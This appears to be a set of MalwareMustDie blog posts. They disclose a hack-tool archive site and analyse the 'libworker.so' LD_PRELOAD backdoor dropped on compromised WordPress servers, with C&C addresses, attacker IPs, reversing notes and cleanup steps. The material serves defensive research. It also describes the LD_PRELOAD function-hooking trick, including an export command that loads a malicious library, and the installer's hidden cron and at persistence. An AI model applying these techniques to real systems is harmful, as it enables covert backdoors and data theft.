With the thankfully good effort from our credited brothers, we MalwareMustDie, NPO (read: Malware Research Group & Anti Cyber Crime Workgroup) herewith disclose the existence of an evil service contains the full codes of malicious tools, in details: exploitation tools to distribute malware, hack tools, bruting tools, shell exploitation tools, spam bot tools, malware crypter, malware binary protector and binary packer, password cracking tools and its wordlists, some hacking and infection tools manuals and blackhat's howto picture and texts, that are mostly shared by the known hack group ANTICHAT.RU.The data or the contents itself is varied from 2011 and 2012 (mostly) with some new tools or manuals made in 2013.
What service?
The domain name owned and contains these data is XAXEP.BIZ (see the pictures snapped for the PoC) which the name explains more than words to all of us. For the law enforcement friends you will be sent email from our side contains the case's cyber crime investigation evidence which leading to the suspect ID of the site's owner. Noted the real domain name was a bit different (in purpose), is covered for law enforcement work purpose.
The Shares
For security purpose the further data will be informed by mostly pictures and video as per following sections. We packed everything that we could fetch in a tarball as per snapshot in the picture below. This tarball is shared in very closed security industry ONLY via our colleague's mail list (please make sure you join the mail list, and I am sure you know what I mean if you follow our previous disclosures). So if you are in AntiVirus, Malware Filter, or Attack Filtration industry's researcher and want to have the sample but not getting it yet, you can send request by writing comment below this post (it will be not published, explaining yourself and legit/non-free entity's email addresses will make the vetting process faster) and your request will be followed properly.
The Tarball:
Full Directory Structure
Noted: New released directories were wrapped in additional package, if you don't get it contact us.
The Pictures & Video of the Evil Contents
Various Exploit Kit's installer packages:
Web Shell in various scripts with or w/o CGI, below is PHP ones only:
Various tools of DDoS, Spammer & Bruter/Bombers:
Various Hack and Infection tools:
Various Malware Binary packers
Various Malware Binary Crypters and Protectors
Additionals
Account hacking tools
DDoS/Blackhole Decoded
Botnet Installers & Source Codes
Common Proxy Tools used by Malware Crooks
And believe us, there are MANY MORE of those malicious tools than these pictures can show. The video (below) we recorded after collecting all of the content's data right before archiving will show more details:
Epilogue
This information is shared for the effort in suppressing cyber crime activities in the internet. We do not keep and own the malicious contents found, as experts we confirmed the information's credibility and as good citizens we follow with the share effort accordingly. Using this very precious information the filtration scheme can be applied better for the security and filtration products to protect innocent people from being abused by these malicious tool's users.
MalwareMustDie is working close and supporting to law enforcement agencies to deeper investigation upon mentioned threats. And we against any act that made our beloved internet becoming a junk places for malware, exploitations, extortion and stealing playground for cyber crime crooks.
We will continue to share important findings like this. Please support us.
Credit: Mr. Adam Ziaja of ComCERT, Poland. Additional Credit: Mr. Mohab Ali of Synapse-Labs. All materials checked and tarballed by @unixfreaxjp "as per it is" to support cyber crime investigation.
Stay safe always, friends. We have an uncivilized "jungle" claimed name of "internet" out there.
This is the analysis story based on the incident handling on the server side incident, caused by a hack to perform some malicious attack to a compromised server, so it is the server side malware analysis, with using the rather sophisticated method of LD_PRELOAD, with the summary as per below:
In the end of March 2014 I helped a friend who has problem with his service perimeter from a hack case. The attack was a classic WordPress hack using the vulnerability scanner on certain user's directory of ".../wp-content/uploads", which was set with the unrecommended UNIX permission on some layer of services by the users. The service was using FreeBSD with the Linux binaries compatibility environment installed, and the tools used for this attack is meant to aim the both platforms.
The attack was successfully exploiting the shell and the attacker was compromising the server's wordpress related user's privilege by injecting the WSO shell and through it we have some malicious PHP scripts which the attacker was using it to perform attack to other services, dropping malicious binaries and implementing the "patch" to the system using the LD_PRELOAD scheme to execute the malicious binary as the backdoor to some services.
I was lucky can perform the overall analysis for this incident and this is the share of what was investigated in a chronological basis which hoping the information can be used for prevention and mitigation for the further attacks. All of the holes was covered, incident was mitigated and followed well and now I can write (with permission) for a share.
A flash Update: Video PoC & global infection data of the ELF .so malware (libworker.so) infection is disclosed, please help to block & clean these!
Answering some requests about this post due to the threat, I was asked to hint a how-to detect the global wordpress sites infected by this malware. The good news: It is searchable. Bad news is: Tons of them now.
So I made the video of based on list on the CURRENT infected sites we detected so far (is not all infection, you can help to add the list). Below is the video:
The infected sites list is here-->>[MMD Pastebin] and the "recent" libworker.so downloadable URL list is here -->>[MMD Pastebin] < There are a lot more of these, and mostly the installer of malware library are dated from March 2014. The clean up also operations are in progress too, please bear for the 404 that might occur in some sites. You can use the list as the hint to detect the rest of infection in world wide web.
View of many infection URL in global sites as evidence:
— MalwareMustDie, NPO (@MalwareMustDie) May 10, 2014
The malware and its components (PHP script for dropper. installer and companion malicious scripts) were uploaded from remote via WSO PHP Shell. In all infected cases I found the WSO up and alive, WSO shell script is obfuscated under camouflaged common PHP filename so is a bit hard to spot which one, below is the video PoC of this statement:
Please check your perimeter & territorial CMS sites/server for the cleaning purpose. Refer to the analysis below:
The Compromised Wordpress
The version is recent, I was expecting older version but it is not the case, and I confirmed it myself. Since I am not using wordpress even though handling many incident of WordPress hacks, I am actually still wondering why it has the permission #777 on "wp-content/uploads" directory which was suspected to be the only "gate" for the attack to get in. Maybe is the user settings? I just can't be sure..
Anyway, using the same methodology to search for the injected codes in WordPress as per described in here -->[ 1 ] [ 2 ] and the malicious files injected were fetched successfully as per below snapshot:
Some "accompanied" malicious injected codes
Based on the attack log, history and time stamped we know that the checkandall.php is the first file injected into the system, and contains the below code:
Obviously this is the script file used by the attacker to check the overall environment of the entered directory and its files after compromising, the value of $all_files will be the contents parsed in an array, as per shown in below illustration:
The next files are the point of this post, the nextstyles.php, oldstyle.php and stylered.php, which are files coded with a one-liner PHP obfuscation in eval/gzuncompress/base64 php code as per illustrated below:
A quick decoding will reveal the actual code, which is a WSO shell, as I pasted in pastebin here-->[decoded] Dealing with WSO hack case, three points that you should know for reporting the incident are, the version, password and how you can successfully access it by understanding the condition needed to access this web-shell "hack" tool. All are summarized as per illustration below: Understanding these points will make you and the handler guy to know what step to do next. In additional, the below illustration are the most function that WSO being used for scanning for vulnerable service:
The other file, which was actually was last injected, is the rss-info.php an obfuscated PHP script with the snapshot below: This script was beautified with the note in here -->[pastebin], and decoded by our friends (Denis of SucuriLabs and @jseidl in--> [here] and [here] which is an attack script with acessing URL: counterstar .ws / c / counter .php which is a rotator to perform the active redirection (TDS) to some un-welcomed sites like one of the snapshot below: The rotator script is currently active and is worth to takedown. Additionally, I really do took time to silently monitor this rotator to get the any chance for the malware redirection or infection through it, but somehow the result still negative for an infection, they're lucky.
So now we know how they scan for directory and using the WSO for the remote access, using some malicious purpose on implementing redirection to a rotator site. Up to this point we can assume that the attacker can upload any script files with code to be remotely executed under the WordPress privileges, and that was the timing where the attacker uploaded the function_php.php and tempstyle.php, which are the point of this blog.
LD_PRELOAD - An introduction & PoC
I assume if you know and mostly you are using Linux, yes? Then you are familiar with the command of LD_PRELOAD, no? Below is the explanation about LD_PRELOAD for they who want to know:
One could override the C standard library's functions used in Linux (such as printf, fopen, open, rand, etc) with your own version of these functions, with or without calling the real library's functions after executing the overrided function.
Since the attack for this vector is already in the wild since March 2014 and many got hit by this threat too, I think it is important to disclose the fact of the threat for mitigating further. For the easy example I roughly typed the PoC in C code for "faking" or "infecting" an original UNIX fopen() command that can be "override" with one's coded program, but also to "intercept" it by executing a malicious codes (or program) before calling the original fopen(): It's not not a new stuff & most of unixmen shold know this fact.That "#define _GNU_SORCE" directive instructs compiler to enable non-standard calls, in this case I need the RTLD_NEXT (at dlfcn.h) to be enabled to call the original version of "fopen()" calls.
If the code above is saved and compiled as a shared library like below command
The result of the C code above is we compiled a shared library (evilfopen.so) that can be used to intercept the fopen() with our own (fakes) code added with some malicious actions and then forcing the execution back to the original fopen(). The "evilfopen.so" can't be self-executed and need to be loaded to the provided enviromental API to intercept and to override, and the command for that is LD_PRELOAD. So, with the simple command line like below:
export LD_PRELOAD=$PATH/evilfopen.so
..the LD_PRELOAD command above will trigger "evilfopen.so" to intercept the fopen() (or other any function..depends on the attacker needs) to perform the malicious act, with or without executing the real function afterward. And this is actually exactly what had happened in this case, a malicious shared library dynamic ".SO" ELF shared library was dropped, installed &"LD_PRELOAD executed" to the targeted system to perform malicious action without the trace of its installation, which it may causing some headache.
What happened is: The LD_PRELOAD forces a defined libraries to be loaded for a program (library in our case) even if the program/binary itself does not ask for it. FYI, it is not a security flaw, since this scheme will work under one condition that if and only if ruid == euid (Real and Effective user ID), or, it is secured by the fact that the loader (ld.so) will ignore LD_PRELOAD if ruid != euid . In English: the only possibility to execute this attack is the gaining access of the shell with the existing user ID during the execution.
The installation of LD_PRELOAD "libworker.so" malware spotted
The installation roles are executed by the files function_php.php and tempstyle.php which are identically coded with the malicious code as per below full code snapshot:
In the line 18 and 19 there are two variables contains big blob of the hexbin strings like below which is actually malware files, so I took a liberty to cut it for the explanation purpose: The explanation is as per follows:
Preparing the file_put_contents function to be used to inject hexbins..
This command will kill the host binary if it runs..
Hexbin in text strings for the 32bit ($so32) and 64bit ($so64) malware library SO files..
Checking whether the system is 32bit or 64bit architecture and assigning the $so variables to the blob hexbins string mentioned above (noted, the default is x64)..
How this malware script detecting the OS with reading the byte structure of /usr/bin/host binary:
And injecting the picked up hexbins to the file ./libworker.so If the file extracted well, in my case it will show below output:
STDOUT; SO dumped 26848 .... for x32 SO dumped 27288 .... for x64
The malware script detecting whether Mayhem (my favorite, kudos!) tools installed, if so it will quit here.. (read: chicken out), noted: be sure to run the tool under diferent environment settings :-)
Now, it's assigning remote requested URI to this evil script file($AU), initiating of the "host" binary name ($HBN) and current path ($SCP)
This is the very important part, the assembly of evil shell script file "1.sh" for the initiation of the evil library files dropped in previous process:
The self-generated script is below, with my comments for explanation:
The below codes are to make the script above to be injected into 1.sh file and make it full access with the world's executable privilege:
The below part of codes are explaining how the 1.sh is executed. It uses three ways to execute, by "at now" and "crontab" (with deleting its execution traces in at or crontab afterward) and additionally using common direct execution using "@system" PHP command, Noted: the comment was made by malware coder, not me. You will see how persistent the attacker in making sure the installation gone well..
For the Incident Handing folks of this threat, you can utilized the malware installer script to get as many .SO sample to extract to be submitted to Virus Total, below is the lazy script I assemble in PHP that fit to the purpose:
↑Please put the hexbin blobs from the $so32 or $so64 variables in malware installer PHP script into above template's $so*/$mo*/$no* accordingly and run it to get the extracted malware library sample files. The shell output in my case is as follows:
$ php sodump.php
X-Powered-By: PHP/x.x.x
SO x32 dumped 26848 SO x64 dumped 27288 MO x32 dumped 26848 MO x64 dumped 27288 NO x32 dumped 26848 NO x64 dumped 27288
$ ls -alF sample*
-rw-r--r-- 1 mmd mmd 26848 May 8 21:57 sample1-32.so -rw-r--r-- 1 mmd mmd 27288 May 8 21:57 sample1-64.so -rw-r--r-- 1 mmd mmd 26848 May 8 21:57 sample2-32.so -rw-r--r-- 1 mmd mmd 27288 May 8 21:57 sample2-64.so -rw-r--r-- 1 mmd mmd 26848 May 8 21:57 sample3-32.so -rw-r--r-- 1 mmd mmd 27288 May 8 21:57 sample3-64.so
That's it for the installation, what do you think of this threat so far? :-) Hold the thoughts and let's go to the "hexed" part..
Binary Analysis and Reversing
I will take x32 malware libs to analyze this malware shared lib binary. It is a statically linked shared library SO format binary. Below is the information:
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, "little endian" Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: "DYN (Shared object file)" Machine: Intel 80386 Version: 0x1 Entry point address: 0xd54 Start of program headers: 52 (bytes into file) Start of section headers: 26952 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 3 Size of section headers: 40 (bytes) Number of section headers: 15 Section header string table index: 12 "Noted:" "Error: Unable to read in 0x258 bytes of section headers"
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x00000000 0x00000000 0x060f0 0x060f0 R E 0x1000 LOAD 0x0060f0 0x000070f0 0x000070f0 0x007f0 0x061ac RW 0x1000 DYNAMIC 0x0060f0 0x000070f0 0x000070f0 0x00090 0x00090 RW 0x4
Histogram for bucket list length (total of 37 buckets): Length Number % of total Coverage 0 8 ( 21.6%) 1 13 ( 35.1%) 22.0% 2 7 ( 18.9%) 45.8% 3 6 ( 16.2%) 76.3% 4 2 ( 5.4%) 89.8% 5 0 ( 0.0%) 89.8% 6 1 ( 2.7%) 100.0%
↑So few data, and my ELF reader meets another error too during analysis:
Error: Unable to read in 0x28 bytes of section headers.
Don't worry about this since the "malform" of the stripped binary itself is causing these annoying error messages. The malcoder (I can't stand it.. read:moronz) surely know how to strip clean a Linux binary.
Some notes in reversing: The binary is obfuscated divided in a row of dd calls like in below address (or section..or etc the name is..):
..longing for the separated looong series of subroutines named in sub_XXX, like below, which we have to merge it one by one to know what the full code says. Snipped:
LOAD:000009B4 ; =============== S U B R O U T I N E ======================================= LOAD:000009B4 sub_9B4 proc near ; CODE XREF: sub_48FC+4B LOAD:000009B4 ; sub_5A70+30D LOAD:000009B4 jmp dword ptr [ebx+10h] LOAD:000009B4 sub_9B4 endp LOAD:000009BA ; =========================================================================== LOAD:000009BA push 8 LOAD:000009BF jmp loc_994 LOAD:000009C4 ; =============== S U B R O U T I N E ======================================= LOAD:000009C4 sub_9C4 proc near ; CODE XREF: sub_5A70+2E2 LOAD:000009C4 jmp ds:off_14[ebx] LOAD:000009C4 sub_9C4 endp LOAD:000009CA ; =========================================================================== [...] LOAD:00000D44 ; =============== S U B R O U T I N E ======================================= LOAD:00000D44 sub_D44 proc near ; CODE XREF: sub_5A70+256 LOAD:00000D44 jmp dword ptr [ebx+0F4h] LOAD:00000D44 sub_D44 endp LOAD:00000D4A ; =============== S U B R O U T I N E ======================================= LOAD:00000D4A sub_D4A proc near ; DATA XREF: LOAD:off_7274 LOAD:00000D4A push 1D0h LOAD:00000D4F jmp loc_994 LOAD:00000D4F sub_D4A endp [...]
The data used for operations are in (1) encoded ones starts from here...
LOAD:00007288 db 95h ; ・ LOAD:00007289 db 0E6h ; ・ LOAD:0000728A db 0BEh ; ｾ LOAD:0000728B db 2Ah ; * LOAD:0000728C db 9Eh ; ・ LOAD:0000728D db 6Bh ; k [...] and so on...
And onto the plain ones, started from this address..
LOAD:000077A0 db 72h ; r LOAD:000077A1 db 0 LOAD:000077A2 db 2Fh ; / LOAD:000077A3 db 25h ; % LOAD:000077A4 db 73h ; s LOAD:000077A5 db 0Ah [...] and so on...
And this is the Segment type: "Externs" contains the NIX's C system calls to be used for the malicious purpose. Too bad they won't (maybe just can't..) encrypt it. The data is as per below list. It is important to write these all for the reference of behavior analysis part:
Later on proven by the behavior analysis, but the execution of this malicious library SO file will perform the backdoor operation, which forming the local information as contents to be sent to remote host using the template with some possibility contents, the initial callback (flagged as "R") and re-send (flagged as "P") has different contents, so does the fail confition (flagged as "F"). Additionally: researchers who in daily basis deal with botnets may understand this flagging scheme as the standard callbacks to a CNC or gates, and that knowhow help me a lot in reversing it:
Uptime date, Architecture of the host, user and "uname -a" data
Which unit of information is to be called via command line of:
/usr/bin/uname -a // recorded at: LOAD:000078B8 00000012
while other grabbed by the NIX's C function listed above. And sending the POST HTTP/1.0 to a specific host with the specific header with the template formatted as per below:
PS: For the complete reversed libworker.so in disassembler format (using IDA Free with thank you to HexRays!) access here-->[MediaFire]
There are more on the deobfuscated assembly code like deletion routines, call itself with the external LD_PRELOAD (oh..not again?! why?). Networking operations, and so on.. The more details in the next section will describe the reason for all of those operation and proving the callback operation explained in above writing too..
Behaviour Analysis
Since the subject is the shared object (DYN) library, is a bit different to analyze than a static/dynamic executables or modular binary loaded by an application like web/ssh/etc server or etc, but this is the beauty of UNIX/Linux OS, all are transparent and only by using the standard UNIX debug environment anyone will be more than enough to recognize and stop this infection processes, which I will simulate in steps in this section.
For the details, after some tests I can summarize the execution of the evil binary is as per below:
- self-executing LD_PRELOAD on himself upon matched NIX function defined - forking (clone) some child processes - self-deletion after executing the POST data - dump the core to the memory and disk (I don't know why),in the disk after execution there will be .sd0 file saved. - leaving the trace in list of files (lsof) - leaving the LD_PRELOAD unset after infection (you'll see some LD_PRELOAD ERROR on libworker.so in "env" or "lsof" or "ps" since the "buggy" of the DYN libs malware for not including call to the "unset" code in the exit routine. :-) - sending callback contains user & system sensitive information to specific mothership URL via POST HTTP/1.0
The loading method is as per follows (as per script installer does):
$ export LD_PRELOAD=./libworker.so
You can check whether this libs is loaded by:
$ env [...] LD_PRELOAD=./libworker.so
What happened during running the /usr/bin/host?? It is good to know whether this evil libs is really loaded during execution. The below code is the debug mode of the loading process of libworker.so executed during the execution of /usr/bin/host. You can see that libworker.so was loaded in read only mode. The bits and size of the evil library, size=27,288 is showing it too. So it is being called preloaded.
I run lsof & grep rapidly monitorng the libworker.so, they look like also affecting trigger of malicious libs, so "by accident" it was forked as per below.. the size and memory allocated flag is a PoC of loading :-)
$ lsof | grep libworker COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME host 32351 xxx mem REG 9,2 27288 29753475 $PWD/libworker.so lsof 32339 xxx mem REG 9,2 27288 29753475 $PWD/libworker.so grep 32517 xxx mem REG 9,2 27288 29753475 $PWD/libworker.so
Breaking the myth (smile), below I lsof'ed the self forked process (32517) of this evil libs triggered by the "grep" command. I have my own reason since "grep" is using not so much shared libs during execution, it is good for the comparison & seeking of malicious calls or libs used by the evil library. Please see it carefully, I am in purpose grouping the output data:
$ lsof -p 32517 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME grep 32517 xxx cwd DIR 9,2 4096 29753382 $PWD grep 32517 xxx rtd DIR 9,2 4096 2 / grep 32517 xxx txt REG 9,2 175488 23330835 /bin/grep grep 32517 xxx mem REG 9,2 12582912 29753480 $PWD/.sd0 grep 32517 xxx DEL REG 9,2 29753475 $PWD/libworker.so
grep 32517 xxx mem REG 9,2 80712 38800333 /lib/x86_64-linux-gnu/libresolv-2.13.so grep 32517 xxx mem REG 9,2 22928 38800338 /lib/x86_64-linux-gnu/libnss_dns-2.13.so grep 32517 xxx mem REG 9,2 47616 38800348 /lib/x86_64-linux-gnu/libnss_files-2.13.so
Below is the original "uninfected" grep command itself in lsof, please seek for the difference the output below with the lsof result above, and you will see that libresolv-2.13.so, libnss_dns-2.13.so and libnss_files-2.13.so are loaded for the malicious purpose, which I don't think is needed in "grep" o.O? And so does the above's pts terminal socket which was replaced by the malware from "/dev/pts/x" into "/dev/null".. doh..I bet those malcoders think this can hide the mess they made from NIX admin's eyes..
This is the trace of the DELETION (executed by the unlink command in the malcode) already executed against the malware library file itself (libworker.so) in lsof. At "this" point the self-deletion was occured, to check it again , see the DEL in "type" column..
$ lsof | grep libwork COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME grep 32517 xxx mem DEL 9,2 27288 29753475 $PWD/libworker.so
You can "ldd" the binary that having function to trigger the malware libs, but in this malware program you can use it only one time and then you'll get this error:
/bin/uname: symbol lookup error: $PWD/libworker.so: undefined symbol: dladdr ERROR: ld.so: object '$PWD/libworker.so' from LD_PRELOAD cannot be preloaded: ignored. ERROR: ld.so: object '$PWD/libworker.so' from LD_PRELOAD cannot be preloaded: ignored. [same contents as above... ] ERROR: ld.so: object '$PWD/libworker.so' from LD_PRELOAD cannot be preloaded: ignored. ERROR: ld.so: object '$PWD/libworker.so' from LD_PRELOAD cannot be preloaded: ignored. ERROR: ld.so: object '$PWD/libworker.so' from LD_PRELOAD cannot be preloaded: ignored. ERROR: ld.so: object '$PWD/libworker.so' from LD_PRELOAD cannot be preloaded: ignored.
Yes, the libs was deleted, but the LD_CONFIG only being unset one time in the installation script, nevertheless the libworker.so was self-executing the fork of itself by LD_CONFIG'ing which explains the above errors.
The rest of malicious operation performed:
After being loaded as per traced in debug code above. Malware library executed itself after the original binary runs, I patched the debug trace during it runs with my comments as per follows:
After creating more new child process, initiating the pipes, it grabbed the current user name and system name for the callback purpose. Yes, I know that I let this moronz know that we're on him..:
At this point the network socket is created and we can see the network traffic as result in network analysis. Then this new child process was killed too:
There you go :-) I think you'll get a bit more idea by the above explanation about the malicious activities conducted. So let's see the PoC of those reversing and behavior analysis in its sent traffic :-). Let's move forward to networking parts!
Network Analysis
Either by reversing or network analysis, you will get the exact same values from one sample. Since this malware was hard-coded to have only static value per binary. For the best of all, let's capture the traffic gained by one malware, let's make sure whether this mess is really making a callback or not..Then I'll use one other sample to compare the result.
The first call, like we always face in the botnet cases, is very important and many initiation can be made, so I was very careful not to online the sample in the new environment until everything settled up. Everything? I mean you have the tcpdump, and you're good to go. You can capture this outside or inside the box (none of my analysis ever using inside the box traffic recording except for some testing though, my highly recommended: always discipline yourself to trap outside of the box)
..and this is the first call looks like:
Yes I test-installed this malware in some systems Linux and BSD in various versions, I have a lot of traffic like:
Only initial calls will get the flag R during the sent of the data, and the rest will be P flag like this:
Sometimes the malware itself got deleted during the operation by other fork.. so you'll see some "incomplete" traffic like this:
By testing the different sample I got the different traffic that goes to the same remote host in the different URL as per below: As per expected, each dropped SO library file is hard coded the specific CNC callback url :-)
How to spot and stop the running infection?
I think I missed this part, so I added this now:
This malware, during the infection will make the dump data saved in the hard drive on the installed/executed directory with the file name of .sd0 , you can find with grep ".sd0" to your CMS directories to check whether your system is infected or not. There are cases where the hacked WordPress directory dropped by the malware .SO library (libworker.so) and not being executed, in this case there will be no ".sd0" file, instead you may can find the LD_PRELOAD installer script file of "1.sh" in compromised path. So searching for "1.sh" in the assumed compromised WordPress or etc CMS environment is good deed. Additionally, you can search for the "libworker.so" or "1.sh" by Google (Dork) since they are all accessible. Please see the video posted in the top of this post for the demonstration PoC for searching/confirming an infection from the remote using by a text editor and browser.
Below is the snapshot PoC of the searchable infection via Google search:
You can seek using (or make a signatre for this ELF malware .SO library) by these strings:
To dissect this running malware in a compromised server, you must find the installer script first, to find which library filename it will be executed. The name of the library will be made as lame as possible to fool us. Like in this case is as per below pic: If you find the installer PHP file, please remove it right away since that can be executed from the remote in anytime and will disturb the further cleaning processes.Together you can "secure" the other garbage that was being injected.
If you know the malware library name form the installer PHP file/script (i.e. libworker.so), then the rest is easier, just execute the below command:
$ lsof | grep 'libworker'
↑this should leaving you the PID of the processes that are utilized to execute the malware DYN library. You can kill (kill -9) that process' PID after beforehand making sure there are no vital services affected, to kill its "main malicious modules. You can do this after (or before) you check the enviromental setting in your box (env), and see whether the LD_PRELOAD is there or not, with or without error IF LD_PRELOAD is there execute the below command:
$ unset LD_PRELOAD
- right away, and repeat it again if you need to make sure no LD_PRELOAD exists in environmental variable anymore. Yes, by unsetting LD_PRELOAD and killing the affected PID will stop the overall malicious process respectively, so please DO NOT ever think to reboot the system with hope cleaning things up. :-))
A note for .sd0 "drops" file
Some people will think that the .sd0 file is malware drops or component of the malware, in my observation it is not it, is the garbage of malware dumped data, likely is in the coredump forms. When the malware .SO library is running, the .sd0 dump will fill the memory and the hard drive, it some systems I found the CPU resource was used because of this.
In some systems I investigated I found some .sd0 dropped in the directory where the malware .SO library was executed. In some systems I found some multiple execution of the .SO library malware files so I found more than one .sd0 files too. These .sd0 file' size is getting bigger each days, the biggest one I found was 16GB in size :-), so you don't want these files, if you find it please delete it. The good thing is this malware library (at the current version) always drops .sd0 files, so find this file if you want to be sure your system is infected or not infected.
Bad actor's CNC server:
All of the traffic lead to the IP address of 37.59.5.67 with sending POST command as per above PCAP information to the URL of:
Reversed: ns3002507.ip-37-59-5.eu. ASN: 16276 Network Prefix: 37.59.0.0/16 ISP: OVH | OVH.COM | OVH SAS Country: FRANCE
GeoIP checked:
The domain hennersy .com itself is registered with data :
Domain Name: HENNERSY.COM Registrar: BIZCN.COM, INC. Whois Server: whois.bizcn.com Referral URL: http://www.bizcn.com Name Server: A.DNSPOD.COM Name Server: B.DNSPOD.COM Name Server: C.DNSPOD.COM Status: clientDeleteProhibited Status: clientTransferProhibited Updated Date: 22-dec-2013 Creation Date: 27-nov-2013 Expiration Date: 27-nov-2014 Last update of whois database: Wed, 07 May 2014 15:17:16 UTC
The status of the both CNC URL as per today (Tue, 13 May 2014 08:23:06 GMT) i as per below snapshot:
The IP address of France IS: OVH: 37.59.5.67 is still serving CNC of this malware until NOW.
The URL http:// hennersy .com/sears/sears .php is down, good work!
The URL http:// hennersy .com/the-henner/hennesystuff .php is still UP and alive :-(
We urge to "related" law enforcement together to OVH to investigate this matter properly.
The disclosure of attacker IP Information
The ELF .so malware library's attacker IP address is easy to be identified after we know what pages in the WordPress that actually had been injected with malware code, or contains the WSO shell code inside. We are recording the attacker IP addresses from 15th February 2014 until today 13th February 2014, and with permission, we "masked" disclosing the attacker information in this section, as the next paragraphs stated in details. The point of this section is to pledge the help from the abuse team and law enforcement related to conduct the proper investigation and suspend the services that can be related to this attack. Full log of each attack IP is saved and can be used as evidence by the request from law enforcement agency only by the policy of the related entity.
OK. These are the IP addresses recorded in chronological sort:
The GeoIP of the above IP addresses, just in case:
IP Address, City, Country Name, Latitude, longitude 94.242.216.183, , Luxembourg, 49.75, 6.1667 212.204.192.14, Amsterdam, Netherlands, 52.35, 4.9167 188.165.238.180, , France, 48.86, 2.35 37.59.5.67, , France, 48.86, 2.35 91.121.10.229, , France, 48.86, 2.35 178.63.238.181, , Germany, 51.0, 9.0 76.30.159.18, Bellaire, United States, 29.7078, -95.4657 176.9.40.4, , Germany, 51.0, 9.0 5.248.80.16, , Ukraine, 49.0, 32.0 176.8.90.64, , Ukraine, 49.0, 32.0 23.23.222.104, Ashburn, United States, 39.0437, -77.4875 37.48.81.37, Amsterdam, Netherlands, 52.35, 4.9167
For the wordpress access log, for the research and evidence purpose, I share the latest attack data detected as per today 13th May 2014 coming from Leaseweb Netherland (37.48.81.37, lw930.ua-hosting.com.ua) and Amazon AES, United States (23.23.222.104 , ec2-23-23-222-104.compute-1.amazonaws.com) as per below credential's masked records of two servers logs. // To be noted: // neostyle.php = malware installer PHP script // maink.php = WSO Shell version 2.5.1
This post is indeed an exhausting analysis writing, spent almost 3h testing, coding/decoding, with the rest of time for just writing it down..wow..English is hard, I even am trying to remember to make the title goes in right letter as per Martijn Grooten taught, but, most of all, I am so happy to do it :-). For the sake of the fellow UNIX administrator & security folks to get a good clue of what had hit them, and we can all think together on the best way to mitigate this. So I hope this post helps. But if somehow you find it not useful, don't mock but please try to advise on how we can improve with the idea or pointers, by writing the comment in the below of this post, which will be welcomed.
I really hope that the friends in Emerging Threat reading this to help in releasing the block rules for the traffic sent to the CNC since the header information are "very" unique and easy to block (will mail you later after cleaning some mess here, ok?). Additional: Thank's for releasing the rule, friends!
Please tune your system, don't leave it un-attended, if you use UNIX service please learn what the "do's" and "don'ts" of the services, and for Christ sake please NEVER open any directory with permission of #777, ok? Contact WordPress folks properly for some guidance, help and support if you have problem with the uploads directory with default permission.
If you got hit by the files described in illustration at the top of this post, your system is practically compromised, if you find the injected files in WordPress directory working area means your CMS is compromised. If you find WSO or other nasty things like C99 shell installed in your CMS area, the damage can be worse, you should audit the system right away. You can not think is secure to continue the service anymore unless you clean up the injected files, killing malicious process, fix the security holes, run security audit to make sure everything is in a proper way. So please make announce, then store backup system up to replace the compromised one and get the compromised system offline for the clean up purpose. I knew some systems that has to be rebuilt for having a terrible damage too :-(
To be sure to know WHY the attacker can get in is very important to fix the security holes, and for that, read all related logs is the best! Also search internet for the stuff you find in the logs or injected files, it helps you to clean up the mess. After everything clean, you can run it again. If you don't fix the security holes now, you are not just opening the risk for the attacker or next attackers will come to visit you again and may bring more damage to you, but you are ALSO risking your server to be utilized to damage others too via malicious activities like unwanted traffic redirection, exploitation, and malware infection. So please conduct as per described above. If you have any question, leave it in the comment please, myself of other from our team may reply you properly.
Virus Total detection and Samples
Friends, please do not hope or count much on the UNIX/Linux AntiVirus Scanner for scanning the threat's files since the detection ratio of this binary series is very low (as per stated in following samples/lines) and the way I observed after seeing nearly 40 units of infection, I think in every campaign it has different ".SO" binaries and injected PHP installers. Since the CNC's URL is different in some binaries..which "currently" lead us to the hacked server used as CNC, we can assume that the bad guys is now re-compiling more and more malware library to avoid signature detection by just changing the URL string and hit one gcc command line, hence a new low or FUD (Full UnDetected) malware library will be released easily.. :-(
Therefore, I wrote this long post. Understanding the how it works is very important. By this information a professional NIX admins you can build a scheme for mitigation and prevention method to secure their system. And you can write about that know-how in your blog to share the knowledge to help others too. :-)
— MalwareMustDie, NPO (@MalwareMustDie) May 8, 2014
Thank's for the help in making this writing finish, goes to:
To loyal friends who keep on motivating MMD spirit in research, thank's & won't let you down! :-) @wirehack7 for renting testing environment since my systems are all BSD basis only. @jseidl & Denis (of UnmaskParasites or SucuriLabs) for helping decoding accompanied obfs. redirector. PS: Share the script friend! To fellow admins in IDC & Mr. Shohei Maeda for allowing me to disclose this malware fact to the world. To the open source community & wonderful *NIX/Linux people who provide good reading for research. And to my family for patiently letting (or ignoring) me by sitting almost 12h for writing this..
Our friend was capturing this "attacker" in his trap (thank's wirehack7), and I found it interesting + attempted to make a video to analyze its binary and to write it down in this post.
We did not release the source information of the attacker before since we wanted to be sure about the source IP. Now we are sure and having some evidence about this, hence a disclosure: The attacker was coming from China network IP: 182.86.60.105 connection (with the below details) via SSH protocol to our trap, with afterward downloading the ELF malware directly from 222.76.210.140 via "wget" which is also is in China IP address as per shown below, in a Chinese web server (called: HFS): And then we know that the malware is trying to connect back to that China IP: 222.76.210.140 as per hard coded in the binary. Later on, we suggest this attack is highly suspected originated from China, by Chinese actor(s), for whatever malicious purpose they after, and I think you should know about this case too.
The URL used to download the malware is as per masked below:
Now the malware "looks" removed from the server. If you see the meaning of "隆孀欺" is an interesting meaning (try to Google translate it is fun).
For me it's likely not a coincidence (like a hack cases) to see a root directory of a web service under unusual port number (81) and serving a malicious set of tools. Thank's to the good setting of the "trap", so we got all installation attempt recorded as I remade in following video and additionally, samples! :-)
As you can see in the video above, the file was successfully downloaded. The "attacker tried to download xx32 binary and failed at the beginning of the session and continuing download xx64, a 64 architecture binary, which he is not successfully running it (smile), and he tried to download the xx32 binary afterwards, which also fail to start (no comment about this).
So we have the two new binaries downloaded with the generosity of the attacker and it was uploaded in the Virus Total as per below links:
